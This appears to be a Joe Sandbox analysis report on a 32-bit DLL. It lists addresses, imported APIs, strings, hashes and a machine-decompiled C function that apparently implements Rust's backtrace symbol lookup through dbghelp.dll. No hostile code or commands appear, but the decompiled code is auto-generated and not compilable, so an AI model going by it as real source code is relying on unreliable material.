0x6e55e5f5
0x6e55e5fa
0x6e55e5fc
0x6e55e620
0x00000000
0x6e55e5fe
0x6e55e5fe
0x6e55e600
0x6e55e602
0x6e55e60a
0x6e55e613
0x6e55e619
0x6e55e619
0x00000000
0x6e55e60a
0x6e55e51b
0x6e55e51b
0x6e55e520
0x6e55e525
0x6e55e52c
0x6e55e545
0x6e55e545
0x6e55e54e
0x00000000
0x6e55e554
0x6e55e554
0x6e55e55c
0x6e55e579
0x6e55e579
0x6e55e57b
0x6e55e581
0x6e55e585
0x6e55e5a7
0x6e55e5ab
0x6e55e5ad
0x6e55e5b5
0x6e55e5d7
0x6e55e5d7
0x6e55e5e1
0x6e55e5e3
0x00000000
0x6e55e5b7
0x6e55e5c2
0x6e55e5ca
0x6e55e68d
0x6e55e690
0x6e55e6a6
0x00000000
0x6e55e5d0
0x6e55e5d0
0x6e55e5d2
0x00000000
0x6e55e5d2
0x6e55e5ca
0x6e55e587
0x6e55e592
0x6e55e59a
0x6e55e66a
0x6e55e66d
0x6e55e683
0x00000000
0x6e55e5a0
0x6e55e5a0
0x6e55e5a2
0x00000000
0x6e55e5a2
0x6e55e59a
0x6e55e55e
0x6e55e564
0x6e55e56c
0x6e55e647
0x6e55e64a
0x6e55e660
0x6e55e6ae
0x6e55e6ae
0x6e55e6b4
0x6e55e6c3
0x6e55e572
0x6e55e572
0x6e55e574
0x00000000
0x6e55e574
0x6e55e56c
0x6e55e55c
0x6e55e52e
0x6e55e533
0x6e55e53a
0x6e55e53f
0x6e55e628
0x6e55e62d
0x6e55e632
0x6e55e637
0x6e55e646
0x00000000
0x00000000
0x00000000
0x6e55e53f
0x6e55e52c

APIs

WaitForSingleObjectEx.KERNEL32(00000000,000000FF,00000000,00000000,00000000,Local\RustBacktraceMutex), ref: 6E55E520
LoadLibraryA.KERNEL32(dbghelp.dll,00000000,000000FF,00000000,00000000,00000000,Local\RustBacktraceMutex), ref: 6E55E533
GetProcAddress.KERNEL32(00000000,SymGetOptions), ref: 6E55E564
GetProcAddress.KERNEL32(SymSetOptions), ref: 6E55E592
GetProcAddress.KERNEL32(SymInitializeW), ref: 6E55E5C2
GetCurrentProcess.KERNEL32 ref: 6E55E5D7
CreateMutexA.KERNEL32(00000000,00000000,Local\RustBacktraceMutex), ref: 6E55E5F5
CloseHandle.KERNEL32(00000000,00000000,00000000,Local\RustBacktraceMutex), ref: 6E55E613

Part of subcall function 6E55E6D0: ReleaseMutex.KERNEL32(?,6E55E448), ref: 6E55E6D1

Strings

dbghelp.dll, xrefs: 6E55E52E
SymSetOptions, xrefs: 6E55E587
SymInitializeW, xrefs: 6E55E5B7
called `Option::unwrap()` on a `None` value, xrefs: 6E55E651, 6E55E674, 6E55E697
SymGetOptions, xrefs: 6E55E55E
Local\RustBacktraceMutex, xrefs: 6E55E5EC

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: AddressProc$Mutex$CloseCreateCurrentHandleLibraryLoadObjectProcessReleaseSingleWait
String ID: Local\RustBacktraceMutex$SymGetOptions$SymInitializeW$SymSetOptions$called `Option::unwrap()` on a `None` value$dbghelp.dll
API String ID: 1067696788-3213342004
Opcode ID: e1b7788ba92f694df841c15bcdb985143981bb70ecf406d329767e4a51739e99
Instruction ID: 674401f905255fd3d308088592e266bdfa0e74f63892635a50ab8eb67b907e74
Opcode Fuzzy Hash: e1b7788ba92f694df841c15bcdb985143981bb70ecf406d329767e4a51739e99
Instruction Fuzzy Hash: C841D171E106519BEF50DFE8DC54BAE37E9AB86354F01083BE505AB381EF349C518BA2

Uniqueness

Uniqueness Score: -1.00%

Function 6E55E6E0, Relevance: 25.1, APIs: 9, Strings: 5, Instructions: 588
libraryloaderCOMMONCrypto

Download Yara Rule

C-Code - Quality: 52%

			E6E55E6E0(void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi) {
				void* _v16;
				char _v4528;
				void* __ebp;
				char* _t225;
				void* _t234;
				void* _t237;
				signed int _t240;
				signed int _t243;
				signed char _t249;
				intOrPtr _t250;
				void* _t255;
				intOrPtr _t256;
				signed int _t258;
				signed char _t262;
				signed int _t265;
				signed short _t267;
				signed short* _t269;
				signed int _t273;
				void* _t277;
				void* _t278;
				intOrPtr _t279;
				signed int _t281;
				void* _t283;
				intOrPtr _t284;
				signed int _t286;
				signed short _t290;
				signed int _t292;
				signed short* _t293;
				signed short _t294;
				signed int _t297;
				signed int _t298;
				signed int _t301;
				signed int _t302;
				signed int _t304;
				signed int _t309;
				signed int _t310;
				signed int _t312;
				signed short* _t317;
				intOrPtr _t321;
				intOrPtr _t322;
				void* _t328;
				signed int _t330;
				intOrPtr _t333;
				signed int _t337;
				void* _t338;
				void* _t346;
				intOrPtr _t350;
				signed short* _t353;
				signed int _t354;
				signed int _t357;
				void* _t358;
				signed int _t365;
				void* _t366;
				signed short* _t369;
				signed int _t371;
				signed int _t373;
				signed short* _t379;
				signed int _t381;
				signed char _t384;
				signed char _t385;
				intOrPtr _t392;
				signed int* _t393;
				signed char _t394;
				signed int _t397;
				signed char _t398;
				signed int _t399;
				signed int _t400;
				signed short _t401;
				signed int _t407;
				signed int _t409;
				signed char _t410;
				signed int _t411;
				signed short _t412;
				signed int _t418;
				intOrPtr _t421;
				signed int _t423;
				signed int _t424;

				_t365 = __edx;
				_t321 = __ecx;
				_push(__ebx);
				_push(__edi);
				_push(__esi);
				_t424 = _t423 & 0xfffffff0;
				E6E56C6C0(0x11b0);
				_t418 = _t424;
				 *((intOrPtr*)(_t418 + 0x1198)) = _t421;
				 *(_t418 + 0x119c) = _t424;
				 *(_t418 + 0x11a8) = 0xffffffff;
				 *((intOrPtr*)(_t418 + 0x11a4)) = E6E563A00;
				 *((intOrPtr*)(_t418 + 0x11a0)) =  *[fs:0x0];
				 *[fs:0x0] = _t418 + 0x11a0;
				 *((intOrPtr*)(_t418 + 0x5c)) = __edx;
				_t225 =  *((intOrPtr*)(__ecx));
				if( *_t225 != 0 ||  *((intOrPtr*)( *((intOrPtr*)(__ecx + 4)))) <= 0x64) {
					_t392 =  *((intOrPtr*)(_t321 + 8));
					_t301 =  *(_t321 + 0xc);
					 *((intOrPtr*)(_t418 + 0x80)) = _t321;
					_t322 =  *((intOrPtr*)(_t321 + 0x10));
					 *(_t418 + 0x1c) = _t365;
					_t366 = _t418 + 0x12;
					 *(_t418 + 0x12) = 0;
					 *((char*)(_t418 + 0x13)) = 0;
					 *(_t418 + 0x84) = _t366;
					 *((intOrPtr*)(_t418 + 0x88)) = _t225;
					 *((intOrPtr*)(_t418 + 0x8c)) = _t392;
					 *((intOrPtr*)(_t418 + 0x90)) = _t418 + 0x13;
					 *(_t418 + 0x94) = _t301;
					 *((intOrPtr*)(_t418 + 0x98)) = _t322;
					 *((intOrPtr*)(_t418 + 0x7c)) = _t392;
					 *(_t418 + 0x58) = _t301;
					 *((intOrPtr*)(_t418 + 0x78)) = _t322;
					 *((intOrPtr*)(_t418 + 0x9c)) = _t418 + 0x5c;
					if(E6E55E4E0(_t301, _t392, _t418) == 0) {
						_t393 =  *(_t418 + 0x1c);
						 *(_t418 + 0x2c) = _t366;
						__eflags =  *_t393 ^ 0x00000001 | _t393[1];
						if(( *_t393 ^ 0x00000001 | _t393[1]) != 0) {
							E6E56E9D0(_t393, _t418 + 0x1a4, 0, 0xff4);
							_t424 = _t424 + 0xc;
							_t302 =  *0x6e5ae15c; // 0x0
							 *((intOrPtr*)(_t418 + 0x1f0)) = 0x7d0;
							 *((intOrPtr*)(_t418 + 0x1a0)) = 0x58;
							__eflags = _t302;
							if(_t302 != 0) {
								L33:
								_t234 = GetCurrentProcess();
								_t394 = _t393[0x45];
								 *(_t418 + 0x18) = _t234;
								 *(_t418 + 0xa4) = 0;
								 *(_t418 + 0xa0) = 0;
								_t369 =  <  ? 0 : _t393[2] - 1;
								 *(_t418 + 0x20) = _t394;
								 *(_t418 + 0x30) = _t369;
								_t237 =  *_t302( *(_t418 + 0x18), _t369, 0, _t394, _t418 + 0xa0, _t418 + 0x1a0);
								__eflags = _t237 - 1;
								if(_t237 != 1) {
									goto L75;
								} else {
									_t250 =  *((intOrPtr*)(_t418 + 0x1ec));
									asm("xorps xmm0, xmm0");
									_t304 = _t418 + 0x1f4;
									_t371 = _t418 + 0xa0;
									 *(_t418 + 0xc) = 0;
									asm("movaps [esi+0x190], xmm0");
									asm("movaps [esi+0x180], xmm0");
									asm("movaps [esi+0x170], xmm0");
									asm("movaps [esi+0x160], xmm0");
									asm("movaps [esi+0x150], xmm0");
									asm("movaps [esi+0x140], xmm0");
									asm("movaps [esi+0x130], xmm0");
									asm("movaps [esi+0x120], xmm0");
									asm("movaps [esi+0x110], xmm0");
									asm("movaps [esi+0x100], xmm0");
									asm("movaps [esi+0xf0], xmm0");
									asm("movaps [esi+0xe0], xmm0");
									asm("movaps [esi+0xd0], xmm0");
									asm("movaps [esi+0xc0], xmm0");
									asm("movaps [esi+0xb0], xmm0");
									asm("movaps [esi+0xa0], xmm0");
									_t328 =  *((intOrPtr*)(_t418 + 0x1f0)) - 1;
									__eflags = _t250 - _t328;
									_t329 =  <=  ? _t250 : _t328;
									_t330 = 0;
									 *(_t418 + 0x14) = _t418 + 0x1f4 + ( <=  ? _t250 : _t328) * 2;
									__eflags = 0;
									 *(_t418 + 0x18) = 0x100;
									if(0 == 0) {
										L37:
										__eflags = _t304 -  *(_t418 + 0x14);
										if(_t304 !=  *(_t418 + 0x14)) {
											_t400 = _t304;
											_t304 = _t304 + 2;
											__eflags = _t304;
											_t401 =  *_t400 & 0x0000ffff;
											goto L39;
										}
									} else {
										asm("o16 nop [cs:eax+eax]");
										L36:
										_t401 = _t330 >> 0x10;
										L39:
										 *(_t418 + 0x1c) = _t330 & 0xffff0000;
										__eflags = (_t401 & 0x0000f800) - 0xd800;
										if((_t401 & 0x0000f800) != 0xd800) {
											 *(_t418 + 0x24) = _t304;
											_t337 = _t401 & 0x0000ffff;
											_t262 = 0;
										} else {
											_t269 = _t304;
											_t337 = 0;
											__eflags = (_t401 & 0x0000ffff) - 0xdbff;
											if((_t401 & 0x0000ffff) <= 0xdbff) {
												_t309 =  *(_t418 + 0x14);
												__eflags = _t269 - _t309;
												if(_t269 == _t309) {
													 *(_t418 + 0x24) = _t309;
													goto L48;
												} else {
													_t310 =  *_t269 & 0x0000ffff;
													 *(_t418 + 0x24) =  &(_t269[1]);
													 *(_t418 + 0x28) = _t310;
													__eflags = (_t310 & 0x0000fc00) - 0xdc00;
													if((_t310 & 0x0000fc00) != 0xdc00) {
														 *(_t418 + 0x1c) = ( *(_t418 + 0x28) & 0x0000ffff) << 0x00000010 | 0x00000001;
														asm("o16 nop [eax+eax]");
														goto L48;
													} else {
														_t262 = 0;
														_t337 = ( *(_t418 + 0x28) + 0x00002400 & 0x0000ffff | (_t401 + 0x00002800 & 0x0000ffff) << 0x0000000a) + 0x10000;
													}
												}
											} else {
												 *(_t418 + 0x24) = _t269;
												L48:
												_t262 = 1;
											}
										}
										_t304 =  *(_t418 + 0x18);
										__eflags = _t262 & 0x00000001;
										_t394 = 1;
										_t338 =  !=  ? 0xfffd : _t337;
										__eflags = _t338 - 0x80;
										if(_t338 >= 0x80) {
											_t394 = 2;
											__eflags = _t338 - 0x800;
											if(_t338 >= 0x800) {
												__eflags = _t338 - 0x10000;
												_t394 = 4;
												asm("sbb edi, 0x0");
											}
										}
										_t265 = _t304 - _t394;
										__eflags = _t265;
										 *(_t418 + 0x28) = _t265;
										if(_t265 > 0) {
											 *(_t418 + 0x34) = _t394;
											 *(_t418 + 0x11a8) = 0;
											 *(_t418 + 0x18) = _t371;
											E6E55DB50(_t304, _t338, _t371, _t394, _t418, _t421, _t304);
											_t424 = _t424 + 4;
											_t267 =  *(_t418 + 0x34);
											_t330 =  *(_t418 + 0x1c);
											_t304 =  *(_t418 + 0x24);
											_t371 =  *(_t418 + 0x18) + _t267;
											 *(_t418 + 0xc) =  *(_t418 + 0xc) + _t267;
											__eflags = _t330;
											 *(_t418 + 0x18) =  *(_t418 + 0x28);
											if(_t330 != 0) {
												goto L36;
											} else {
												goto L37;
											}
										}
									}
									__eflags =  *(_t418 + 0xc) - 0x101;
									if(__eflags >= 0) {
										 *(_t418 + 0x11a8) = 0;
										E6E579470(_t304,  *(_t418 + 0xc), 0x100, _t394, _t418, __eflags, 0x6e5a09ec);
										goto L87;
									} else {
										_t397 =  *0x6e5ae160; // 0x0
										asm("xorps xmm0, xmm0");
										 *(_t418 + 0x74) = 0;
										 *(_t418 + 0x70) = 0;
										asm("movaps [esi+0x60], xmm0");
										 *((intOrPtr*)(_t418 + 0x60)) = 0x18;
										__eflags = _t397;
										if(_t397 != 0) {
											L67:
											_t255 = GetCurrentProcess();
											_t333 = _t418 + 0x60;
											 *(_t418 + 0x38) = 0;
											_t373 = _t418 + 0x38;
											_t256 =  *_t397(_t255,  *(_t418 + 0x30), 0,  *(_t418 + 0x20), 0, 0, _t373, _t333);
											__eflags = _t256 - 1;
											if(_t256 != 1) {
												_t398 = 0;
												__eflags = 0;
											} else {
												_t256 =  *((intOrPtr*)(_t418 + 0x68));
												_t333 =  *((intOrPtr*)(_t418 + 0x6c));
												_t399 = 0;
												__eflags = 0;
												asm("o16 nop [cs:eax+eax]");
												do {
													_t373 = _t399;
													_t399 = _t399 + 1;
													__eflags =  *((short*)(_t333 + _t373 * 2));
												} while ( *((short*)(_t333 + _t373 * 2)) != 0);
												 *(_t418 + 0x11a8) = 0;
												_t398 = 1;
											}
											 *(_t418 + 0x11a8) = 0;
											 *(_t418 + 0x38) = _t418 + 0xa0;
											 *(_t418 + 0x3c) =  *(_t418 + 0xc);
											 *((intOrPtr*)(_t418 + 0x40)) =  *((intOrPtr*)(_t418 + 0x1d8));
											 *(_t418 + 0x44) = _t398;
											 *((intOrPtr*)(_t418 + 0x48)) = _t256;
											 *(_t418 + 0x4c) = _t398;
											 *((intOrPtr*)(_t418 + 0x50)) = _t333;
											 *(_t418 + 0x54) = _t373;
											E6E55F860(_t418 + 0x84, _t418 + 0x38);
											goto L75;
										} else {
											_t258 = GetProcAddress( *0x6e5ae130, "SymGetLineFromInlineContextW");
											__eflags = _t258;
											if(__eflags == 0) {
												 *(_t418 + 0x11a8) = 0;
												E6E5794E0(_t304, "called `Option::unwrap()` on a `None` value", 0x2b, _t397, _t418, __eflags, 0x6e5a0ad0);
												goto L87;
											} else {
												_t397 = _t258;
												 *0x6e5ae160 = _t258;
												goto L67;
											}
										}
									}
								}
							} else {
								_t273 = GetProcAddress( *0x6e5ae130, "SymFromInlineContextW");
								__eflags = _t273;
								if(__eflags == 0) {
									 *(_t418 + 0x11a8) = 0;
									E6E5794E0(_t302, "called `Option::unwrap()` on a `None` value", 0x2b, _t393, _t418, __eflags, 0x6e5a0ad0);
									goto L87;
								} else {
									_t302 = _t273;
									 *0x6e5ae15c = _t273;
									goto L33;
								}
							}
						} else {
							_t312 = _t393[2];
							E6E56E9D0(_t393, _t418 + 0x1a4, 0, 0xff4);
							_t424 = _t424 + 0xc;
							_t407 =  *0x6e5ae150; // 0x0
							 *((intOrPtr*)(_t418 + 0x1f0)) = 0x7d0;
							 *((intOrPtr*)(_t418 + 0x1a0)) = 0x58;
							__eflags = _t407;
							if(_t407 != 0) {
								L9:
								_t277 = GetCurrentProcess();
								 *(_t418 + 0xa4) = 0;
								 *(_t418 + 0xa0) = 0;
								_t278 =  *_t407(_t277, _t312, 0, _t418 + 0xa0, _t418 + 0x1a0);
								__eflags = _t278 - 1;
								if(_t278 != 1) {
									L75:
									ReleaseMutex( *(_t418 + 0x2c));
									__eflags =  *((char*)(_t418 + 0x13));
									if( *((char*)(_t418 + 0x13)) != 0) {
										goto L4;
									} else {
										goto L76;
									}
									goto L80;
								} else {
									_t279 =  *((intOrPtr*)(_t418 + 0x1ec));
									asm("xorps xmm0, xmm0");
									_t408 = 0x100;
									 *(_t418 + 0x20) = 0;
									 *(_t418 + 0x14) = _t312;
									asm("movaps [esi+0x190], xmm0");
									asm("movaps [esi+0x180], xmm0");
									asm("movaps [esi+0x170], xmm0");
									asm("movaps [esi+0x160], xmm0");
									asm("movaps [esi+0x150], xmm0");
									asm("movaps [esi+0x140], xmm0");
									asm("movaps [esi+0x130], xmm0");
									asm("movaps [esi+0x120], xmm0");
									asm("movaps [esi+0x110], xmm0");
									asm("movaps [esi+0x100], xmm0");
									asm("movaps [esi+0xf0], xmm0");
									asm("movaps [esi+0xe0], xmm0");
									asm("movaps [esi+0xd0], xmm0");
									asm("movaps [esi+0xc0], xmm0");
									asm("movaps [esi+0xb0], xmm0");
									asm("movaps [esi+0xa0], xmm0");
									_t346 =  *((intOrPtr*)(_t418 + 0x1f0)) - 1;
									__eflags = _t279 - _t346;
									_t347 =  <=  ? _t279 : _t346;
									_t379 = _t418 + 0x1f4 + ( <=  ? _t279 : _t346) * 2;
									 *(_t418 + 0xc) = _t418 + 0x1f4;
									_t281 = 0;
									 *(_t418 + 0x30) = _t379;
									__eflags = 0;
									 *(_t418 + 0x1c) = _t418 + 0xa0;
									 *(_t418 + 0x28) = 0x100;
									if(0 == 0) {
										L13:
										__eflags =  *(_t418 + 0xc) - _t379;
										if( *(_t418 + 0xc) != _t379) {
											_t353 =  *(_t418 + 0xc);
											_t412 =  *_t353 & 0x0000ffff;
											_t354 =  &(_t353[1]);
											__eflags = _t354;
											 *(_t418 + 0xc) = _t354;
											goto L15;
										}
									} else {
										L12:
										_t412 = _t281 >> 0x10;
										L15:
										 *(_t418 + 0x18) = _t281 & 0xffff0000;
										__eflags = (_t412 & 0x0000f800) - 0xd800;
										if((_t412 & 0x0000f800) != 0xd800) {
											_t357 = _t412 & 0x0000ffff;
											_t384 = 0;
										} else {
											_t357 = 0;
											_t384 = 1;
											__eflags = (_t412 & 0x0000ffff) - 0xdbff;
											if((_t412 & 0x0000ffff) <= 0xdbff) {
												_t317 =  *(_t418 + 0xc);
												_t293 =  *(_t418 + 0x30);
												__eflags = _t317 - _t293;
												if(_t317 == _t293) {
													 *(_t418 + 0xc) = _t293;
												} else {
													_t294 =  *_t317 & 0x0000ffff;
													 *(_t418 + 0xc) =  &(_t317[1]);
													__eflags = (_t294 & 0x0000fc00) - 0xdc00;
													if((_t294 & 0x0000fc00) != 0xdc00) {
														_t297 = (_t294 & 0x0000ffff) << 0x00000010 | 0x00000001;
														__eflags = _t297;
														 *(_t418 + 0x18) = _t297;
													} else {
														_t384 = 0;
														_t357 = (_t294 + 0x00002400 & 0x0000ffff | (_t412 + 0x00002800 & 0x0000ffff) << 0x0000000a) + 0x10000;
													}
												}
											}
											_t312 =  *(_t418 + 0x14);
										}
										__eflags = _t384 & 0x00000001;
										_t385 = 1;
										_t358 =  !=  ? 0xfffd : _t357;
										_t290 =  *(_t418 + 0x28);
										__eflags = _t358 - 0x80;
										if(_t358 >= 0x80) {
											_t385 = 2;
											__eflags = _t358 - 0x800;
											if(_t358 >= 0x800) {
												__eflags = _t358 - 0x10000;
												_t385 = 4;
												asm("sbb edx, 0x0");
											}
										}
										_t408 = _t290 - _t385;
										__eflags = _t408;
										if(_t408 > 0) {
											 *(_t418 + 0x24) = _t385;
											 *(_t418 + 0x34) = _t408;
											 *(_t418 + 0x11a8) = 0;
											E6E55DB50(_t312, _t358,  *(_t418 + 0x1c), _t408, _t418, _t421, _t290);
											_t424 = _t424 + 4;
											_t292 =  *(_t418 + 0x24);
											_t408 =  *(_t418 + 0x34);
											_t312 =  *(_t418 + 0x14);
											_t379 =  *(_t418 + 0x30);
											 *(_t418 + 0x20) =  *(_t418 + 0x20) + _t292;
											_t281 =  *(_t418 + 0x18);
											__eflags = _t281;
											 *(_t418 + 0x1c) =  *(_t418 + 0x1c) + _t292;
											 *(_t418 + 0x28) =  *(_t418 + 0x34);
											if(_t281 != 0) {
												goto L12;
											} else {
												goto L13;
											}
										}
									}
									__eflags =  *(_t418 + 0x20) - 0x101;
									if(__eflags >= 0) {
										 *(_t418 + 0x11a8) = 0;
										E6E579470(_t312,  *(_t418 + 0x20), 0x100, _t408, _t418, __eflags, 0x6e5a09ec);
										goto L87;
									} else {
										_t409 =  *0x6e5ae154; // 0x0
										asm("xorps xmm0, xmm0");
										 *(_t418 + 0x74) = 0;
										 *(_t418 + 0x70) = 0;
										asm("movaps [esi+0x60], xmm0");
										 *((intOrPtr*)(_t418 + 0x60)) = 0x18;
										__eflags = _t409;
										if(_t409 != 0) {
											L59:
											_t283 = GetCurrentProcess();
											_t350 = _t418 + 0x60;
											 *(_t418 + 0x38) = 0;
											_t381 = _t418 + 0x38;
											_t284 =  *_t409(_t283, _t312, 0, _t381, _t350);
											__eflags = _t284 - 1;
											if(_t284 != 1) {
												_t410 = 0;
												__eflags = 0;
											} else {
												_t284 =  *((intOrPtr*)(_t418 + 0x68));
												_t350 =  *((intOrPtr*)(_t418 + 0x6c));
												_t411 = 0;
												__eflags = 0;
												asm("o16 nop [cs:eax+eax]");
												do {
													_t381 = _t411;
													_t411 = _t411 + 1;
													__eflags =  *((short*)(_t350 + _t381 * 2));
												} while ( *((short*)(_t350 + _t381 * 2)) != 0);
												 *(_t418 + 0x11a8) = 0;
												_t410 = 1;
											}
											 *(_t418 + 0x11a8) = 0;
											 *(_t418 + 0x38) = _t418 + 0xa0;
											 *(_t418 + 0x3c) =  *(_t418 + 0x20);
											 *((intOrPtr*)(_t418 + 0x40)) =  *((intOrPtr*)(_t418 + 0x1d8));
											 *(_t418 + 0x44) = _t410;
											 *((intOrPtr*)(_t418 + 0x48)) = _t284;
											 *(_t418 + 0x4c) = _t410;
											 *((intOrPtr*)(_t418 + 0x50)) = _t350;
											 *(_t418 + 0x54) = _t381;
											E6E55F860(_t418 + 0x84, _t418 + 0x38);
											goto L75;
										} else {
											_t286 = GetProcAddress( *0x6e5ae130, "SymGetLineFromAddrW64");
											__eflags = _t286;
											if(__eflags == 0) {
												 *(_t418 + 0x11a8) = 0;
												E6E5794E0(_t312, "called `Option::unwrap()` on a `None` value", 0x2b, _t409, _t418, __eflags, 0x6e5a0ad0);
												goto L87;
											} else {
												_t409 = _t286;
												 *0x6e5ae154 = _t286;
												goto L59;
											}
										}
									}
								}
							} else {
								_t298 = GetProcAddress( *0x6e5ae130, "SymFromAddrW");
								__eflags = _t298;
								if(__eflags == 0) {
									 *(_t418 + 0x11a8) = 0;
									E6E5794E0(_t312, "called `Option::unwrap()` on a `None` value", 0x2b, _t407, _t418, __eflags, 0x6e5a0ad0);
									L87:
									asm("ud2");
									asm("o16 nop [eax+eax]");
									_push(_t421);
									return E6E55E6D0( *((intOrPtr*)( &_v4528 + 0x2c)));
								} else {
									_t407 = _t298;
									 *0x6e5ae150 = _t298;
									goto L9;
								}
							}
						}
					} else {
						if( *((char*)(_t418 + 0x13)) == 0) {
							L76:
							__eflags =  *(_t418 + 0x12);
							if( *(_t418 + 0x12) == 0) {
								__eflags =  *((char*)( *((intOrPtr*)(_t418 + 0x7c))));
								if( *((char*)( *((intOrPtr*)(_t418 + 0x7c)))) != 0) {
									 *(_t418 + 0x38) =  *((intOrPtr*)(_t418 + 0x78));
									 *(_t418 + 0x3c) = 0;
									 *(_t418 + 0x1a8) = 4;
									 *(_t418 + 0xa0) = 2;
									 *(_t418 + 0x11a8) = 1;
									_push(0);
									_push(_t418 + 0xa0);
									_push(_t418 + 0x1a0);
									 *( *(_t418 + 0x58)) = E6E55F0A0(_t418 + 0x38,  *((intOrPtr*)( *((intOrPtr*)(_t418 + 0x5c)) + 8)));
									_t249 =  *(_t418 + 0x38);
									_t202 = _t249 + 4;
									 *_t202 =  *(_t249 + 4) + 1;
									__eflags =  *_t202;
								}
							}
							 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t418 + 0x80)) + 4)))) =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t418 + 0x80)) + 4)))) + 1;
							_t243 =  *(_t418 + 0x58);
							__eflags =  *_t243;
							_t208 =  *_t243 == 0;
							__eflags = _t208;
							_t240 = _t243 & 0xffffff00 | _t208;
						} else {
							goto L4;
						}
						goto L80;
					}
				} else {
					L4:
					_t240 = 0;
					L80:
					 *[fs:0x0] =  *((intOrPtr*)(_t418 + 0x11a0));
					return _t240;
				}
			}

0x6e55e6e0
0x6e55e6e0
0x6e55e6e3
0x6e55e6e4
0x6e55e6e5
0x6e55e6e6
0x6e55e6ee
0x6e55e6f3
0x6e55e6f5
0x6e55e6fb
0x6e55e701
0x6e55e70b
0x6e55e722
0x6e55e728
0x6e55e72e
0x6e55e731
0x6e55e736
0x6e55e740
0x6e55e743
0x6e55e746
0x6e55e74c
0x6e55e74f
0x6e55e752
0x6e55e755
0x6e55e759
0x6e55e75d
0x6e55e763
0x6e55e76c
0x6e55e772
0x6e55e77b
0x6e55e781
0x6e55e787
0x6e55e78a
0x6e55e78d
0x6e55e790
0x6e55e79d
0x6e55e7b0
0x6e55e7b3
0x6e55e7bb
0x6e55e7be
0x6e55ea68
0x6e55ea6d
0x6e55ea70
0x6e55ea76
0x6e55ea80
0x6e55ea8a
0x6e55ea8c
0x6e55eaae
0x6e55eaae
0x6e55eab6
0x6e55eabc
0x6e55eac7
0x6e55ead1
0x6e55eade
0x6e55eae9
0x6e55eaef
0x6e55eaf6
0x6e55eaf8
0x6e55eafb
0x00000000
0x6e55eb01
0x6e55eb07
0x6e55eb0d
0x6e55eb10
0x6e55eb16
0x6e55eb1c
0x6e55eb23
0x6e55eb2a
0x6e55eb31
0x6e55eb38
0x6e55eb3f
0x6e55eb46
0x6e55eb4d
0x6e55eb54
0x6e55eb5b
0x6e55eb62
0x6e55eb69
0x6e55eb70
0x6e55eb77
0x6e55eb7e
0x6e55eb85
0x6e55eb8c
0x6e55eb93
0x6e55eb94
0x6e55eb96
0x6e55eba0
0x6e55eba2
0x6e55ebaa
0x6e55ebad
0x6e55ebb0
0x6e55ebd0
0x6e55ebd0
0x6e55ebd3
0x6e55ebd9
0x6e55ebdb
0x6e55ebdb
0x6e55ebde
0x00000000
0x6e55ebde
0x6e55ebb2
0x6e55ebb2
0x6e55ebc0
0x6e55ebc2
0x6e55ebe1
0x6e55ebee
0x6e55ebf1
0x6e55ebf6
0x6e55ec10
0x6e55ec13
0x6e55ec16
0x6e55ebf8
0x6e55ebf8
0x6e55ebfd
0x6e55ebff
0x6e55ec05
0x6e55ec20
0x6e55ec23
0x6e55ec25
0x6e55ec65
0x00000000
0x6e55ec27
0x6e55ec27
0x6e55ec2d
0x6e55ec30
0x6e55ec39
0x6e55ec3f
0x6e55ec74
0x6e55ec77
0x00000000
0x6e55ec41
0x6e55ec5b
0x6e55ec5d
0x6e55ec5d
0x6e55ec3f
0x6e55ec07
0x6e55ec07
0x6e55ec80
0x6e55ec80
0x6e55ec80
0x6e55ec05
0x6e55ec85
0x6e55ec88
0x6e55ec8f
0x6e55ec94
0x6e55ec97
0x6e55ec9d
0x6e55ec9f
0x6e55eca4
0x6e55ecaa
0x6e55ecac
0x6e55ecb2
0x6e55ecb7
0x6e55ecb7
0x6e55ecaa
0x6e55ecbc
0x6e55ecbc
0x6e55ecbe
0x6e55ecc1
0x6e55ecc7
0x6e55ecca
0x6e55ecd5
0x6e55ecd8
0x6e55ecdd
0x6e55ece0
0x6e55ece6
0x6e55ece9
0x6e55ecec
0x6e55ecee
0x6e55ecf4
0x6e55ecf7
0x6e55ecfa
0x00000000
0x6e55ed00
0x00000000
0x6e55ed00
0x6e55ecfa
0x6e55ecc1
0x6e55edae
0x6e55edb5
0x6e55efaa
0x6e55efbe
0x00000000
0x6e55edbb
0x6e55edbb
0x6e55edc1
0x6e55edc4
0x6e55edcb
0x6e55edd2
0x6e55edd6
0x6e55eddd
0x6e55eddf
0x6e55ee01
0x6e55ee01
0x6e55ee06
0x6e55ee09
0x6e55ee10
0x6e55ee22
0x6e55ee24
0x6e55ee27
0x6e55ee9e
0x6e55ee9e
0x6e55ee29
0x6e55ee29
0x6e55ee2c
0x6e55ee2f
0x6e55ee2f
0x6e55ee31
0x6e55ee40
0x6e55ee40
0x6e55ee42
0x6e55ee43
0x6e55ee43
0x6e55ee4a
0x6e55ee54
0x6e55ee54
0x6e55eea6
0x6e55eeb0
0x6e55eeb6
0x6e55eebf
0x6e55eec2
0x6e55eec5
0x6e55eec8
0x6e55eecb
0x6e55eece
0x6e55eeda
0x00000000
0x6e55ede1
0x6e55edec
0x6e55edf2
0x6e55edf4
0x6e55f034
0x6e55f04d
0x00000000
0x6e55edfa
0x6e55edfa
0x6e55edfc
0x00000000
0x6e55edfc
0x6e55edf4
0x6e55eddf
0x6e55edb5
0x6e55ea8e
0x6e55ea99
0x6e55ea9f
0x6e55eaa1
0x6e55efee
0x6e55f007
0x00000000
0x6e55eaa7
0x6e55eaa7
0x6e55eaa9
0x00000000
0x6e55eaa9
0x6e55eaa1
0x6e55e7c4
0x6e55e7c4
0x6e55e7d5
0x6e55e7da
0x6e55e7dd
0x6e55e7e3
0x6e55e7ed
0x6e55e7f7
0x6e55e7f9
0x6e55e81b
0x6e55e81b
0x6e55e826
0x6e55e830
0x6e55e846
0x6e55e848
0x6e55e84b
0x6e55eedf
